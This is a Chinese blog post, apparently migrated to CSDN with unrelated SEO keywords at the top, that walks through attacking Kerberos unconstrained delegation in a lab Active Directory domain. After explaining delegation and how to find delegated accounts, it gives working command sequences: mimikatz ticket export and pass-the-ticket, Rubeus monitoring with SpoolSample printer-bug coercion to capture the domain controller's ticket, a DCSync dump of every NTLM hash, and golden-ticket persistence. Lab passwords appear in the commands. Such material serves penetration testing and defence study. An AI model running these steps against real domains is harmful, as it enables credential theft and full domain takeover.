聚美优品的pc网站建设,避免网站侵权,网站建设部署,徐州模板开发建站CSDN文章自动迁移自博客在Windows 2000 Server 首次发布 Active Directory 时#xff0c;Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 Web Server 进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“Kerberos 双跳问题”#x…CSDN文章自动迁移自博客在Windows 2000 Server 首次发布 Active Directory 时Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 Web Server 进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“Kerberos 双跳问题”并且要求进行委派以便 Web Server 在修改数据库记录时模拟用户。Windows 2000 Server 发布的也是最初的非约束性委派。需要注意的一点是接受委派的用户只能是 服务账户 或者 计算机用户 。委派是域中的一种属性设置是一个安全敏感的操作。是指将域内用户的权限委派给服务账号使得服务账号能以用户权限访问域内的其他服务。如图域用户 attack/Administrator 通过访问 Web 服务请求下载后台文件服务器中的文件于是 Web 服务的服务账号 webservice 以域用户 attack/Administrator 的身份通过 Kerberos 认证协议或者其他身份认证协议的方式其他身份认证协议可能存在于约束性委派或基于资源的约束性委派中但域内基本上都是设置的仅使用 Kerberos 认证协议请求后台文件服务器。这就是一个委派的流程。委派主要分为以下三种非约束性委派 UD: Unconstrained Delegation约束性委派 CD: Constrained Delegation基于资源的约束性委派 RBCD: Resource Based Constrained Delegation以下是本地操作环境域attack.cn域控主域控dc 系统Windows Server 2012 R2 IP192.168.11.11辅域控dc02系统 Windows Server 2012 R2 IP192.168.11.13域内主机pc01 IP192.168.11.15 系统Windows7本地管理员Administrator域账号attckadmin 密码123.compc02 IP192.168.11.16 系统Windows10本地管理员Administrator 域账号zhang 密码321.com域用户域管attack\administrator普通域用户attack\attackadmin普通域用户attack\zhang配置委派的域用户和服务账号attack\test服务账号可以获取被委派用户的 TGT并将 TGT 缓存到 lsass 进程中从而服务账号可使用该 TGT模拟该用户访问域内其他服务。非约束委派的设置需要 SeEnableDelegationPrivilege 权限该特权通常只有域管理员才有。在域控上配置非约束性委派计算机用户的非约束性委派配置控制面板\系统和安全\管理工具\Active Directory 用户和计算机%SystemRoot%\system32\dsa.msc— 域名/Computers/名称/属性 — 委派 — 信任此计算机来委派任何服务 (仅 Kerberos)(T)配置了非约束性委派属性的计算机用户的userAccountControl属性有个 Flag 位WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION其对应的数是0x81000528384。可在 Active Directory 用户和计算机窗口中开启查看的高级功能后选择对应机器名称属性中的属性编辑器中看到如下图。服务账号的非约束性委派配置可以先创建一个普通用户 testnet user test Pssw0rd /add /domain普通用户默认没有委派的选项设置需要给他注册一个服务主体名称SPN使其成为一个服务账号setspn -U -A priv/test test也可以查找指定 test 用户注册的 SPNsetspn -L test这时候 test 用户就拥有委派的属性可以将其设置为非约束性委派配置了非约束性委派属性的服务账号的userAccountControl属性有个 Flag 位NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION 其对应的数是0x80200528384。可在 Active Directory 用户和计算机窗口中开启查看的高级功能后选择对应服务账户名称属性中的属性编辑器中看到如下图查询非约束性委派的计算机或服务账号默认域控是配置了非约束性委派的PowerViewPowerView 有几个不同的版本这里用的是 PowerShellEmpire 下的脚本地址https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1# 导入 PowerView 脚本
import-module .\powerview.ps1# 查询域内非约束性委派的计算机
Get-NetComputer -Unconstrained -Domain attack.cn | select name# 查询域内非约束性委派的服务账号
Get-NetAdministrator -Unconstrained -Domain attack.cn | select nameAdfind下载地址该工具不需要账号密码即可查询其他支持 ldap 协议的工具也可以实现查询# 查询域内非约束性委派的计算机
AdFind.exe -b DCattack,DCcn -f ((samAccountType805306369)(userAccountControl:1.2.840.113556.1.4.803:524288)) -dn# 查询非约束性委派的服务账号
AdFind.exe -b DCattack,DCcn -f ((samAccountType805306368)(userAccountControl:1.2.840.113556.1.4.803:524288)) -dnldapsearchkali 内置其他系统安装# Ubuntu 用户安装sudo apt install ldap-utils# mac 用户安装brew install ldapvi该工具需要域内任意用户的账号密码可在域外查询。其他支持 ldap 协议的工具也可以实现查询。查询域内非约束委派的计算机# 实测不好用ldapsearch -LLL -x -H ldap://192.168.11.11:389 -D zhangattack.cn -w 321.com -b dcattack,dccn ((samAccountType805306369)(userAccountControl:1.2.840.113556.1.4.803:524288)) -dn查询非约束性委派的服务账号ldapsearch -LLL -x -H ldap://192.168.11.11:389 -D testattack.cn -w Pssw0rd -b dcattack,DCcn ((samAccountType805306368)(userAccountControl:1.2.840.113556.1.4.803:524288)) cn distinguishedName非约束性委派攻击用户 Administrator 去访问服务 service如果服务 service 的服务账户开启了非约束性委派那么当用户 Administrator 访问服务 service 的时候会将用户 Administrator 的 TGT 发送给服务 service 并保存在内存中以备下次重用所以服务 service 能够利用用户 Administrator 的身份去访问用户 Administrator 能够访问的任意服务。两种攻击方式一种是诱使域管用户相当于是域内钓鱼来访问配置了非约束性委派的主机或服务二是结合打印机漏洞让域管用户强制回连以缓存 TGT。模拟域管访问非约束性委派主机模拟域管用户 attack/Administrator只要是域管用户不一定在域控远程访问非约束性委派主机机 pc02 pc01 已获得本地管理员权限。常见可利用钓鱼的连接方式可以是 MSSQL 或 IIS这里演示域管用户 attack/Administrator 直接 IPC 连接 pc01 。注意1、高版本的系统实测win10启动管理员命令失败即使启动成功也无法获取win7域用户状态下启动管理员权限需要调用域管登录然后管理员身份启动cmd所以这个洞在某些版本下真的很鸡肋2、另外需要注意的一个问题就是检查域主机的防火墙pc02无法访问域控dc.attack.cndir \\dc.attack.cn\c$域管用户 attack/Administrator IPC 连接 pc01dir \\dc.attack.cn\c$域管用户 attack/Administrator IPC 连接 pc01net use \\pc01.attack.cn /Administrator:attack\administrator 1qazWSX这适合 pc02 机器就已经有了域管 attack/Administrator 的 TGT 票据可以用 mimikatz 导出# mimikatz
privilege::debug
sekurlsa::tickets /exportmimikatz privilege::debug sekurlsa::tickets /export exit然后通过 Pass The TicketPTT将 TGT 注入到当前会话中# mimikatz
kerberos::ptt [0;157a7b]-0-0-40a50000-Administratorcifs-dc.attack.cn.kirbi
mimikatz kerberos::ptt [0;157a7b]-0-0-40a50000-Administratorcifs-dc.attack.cn.kirbi exit# DOS
dir \\dc.attack.cn\c$非约束性委派 Spooler 打印机服务漏洞利用 Windows 打印系统远程协议MS-RPRN中的一种旧的但是默认启用的方法在该方法中域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。非约束性委派主机结合 Spooler 打印机服务漏洞让域控机器 dc 强制访问已控的具有本地管理员权限的非约束性委派机器 pc02 从而拿到域管理员的 TGT进而接管域控。首先利用Rubeus在 pc02 上以 本地 管理员权限执行以下命令每隔一秒监听来自域控机器 dc 的登录信息已编译的 Rubeus 下载版本https://github.com/GhostPack/Rubeus/releases/tag/1.6.4注意实测win10下域网络防火墙会自动开启域用户无法关闭需本地管理员# 需要注意Rubeus的监听需要在主机管理员用户下监听
Rubeus.exe monitor /interval:1 /filterAdministrator:dc$再利用SpoolSample强制域控打印机回连需在域用户进程上执行所以这里切换成了普通域用户帐号去执行已编译的 SpoolSample 下载# 需要注意打印机服务漏洞需要在域用户下进行触发Rubeus的监听需要在主机管理员用户下监听所以可以用一台域用户下触发另一台机器管理员用户去监听或者切换账户进行监听和触发
SpoolSample.exe dc pc02同时 Rubeus 也获取到了来自域控 dc 的 TGT 票据Rubeus 导入获取到的 TGT 票据# 最方便的方法我测试到的是使用notepad
Rubeus.exe ptt /ticket:Base64EncodedTicket
或者
[IO.File]::WriteAllBytes(ptt.kirbi,[Convert]::FromBase64String())这时候管理员权限运行 mimikatz 就可以获取域内所有用户的 NTLM hash内存中也有了域管的 TGT 也可以直接 PTT。mimikatz.exe log lsadump::dcsync /all /csv exit接下来解密 NTLM hash 后可以直接登录域控解不开也可以利用 krbtgt 的 NTLM hash 用于做黄金票据权限维持有了黄金票据也同样可以访问域控了使用 WinRM 服务来远程连接域控命令执行。Enter-PSSession -ComputerName dc转载请注明Adminxes Blog » Kerberos 域委派攻击之非约束性委派